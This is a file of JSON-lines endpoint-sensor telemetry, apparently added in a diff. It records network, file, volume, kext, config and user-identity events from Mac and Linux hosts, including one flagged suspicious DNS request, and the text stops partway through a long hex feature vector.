+{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
+{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
+{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
+{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0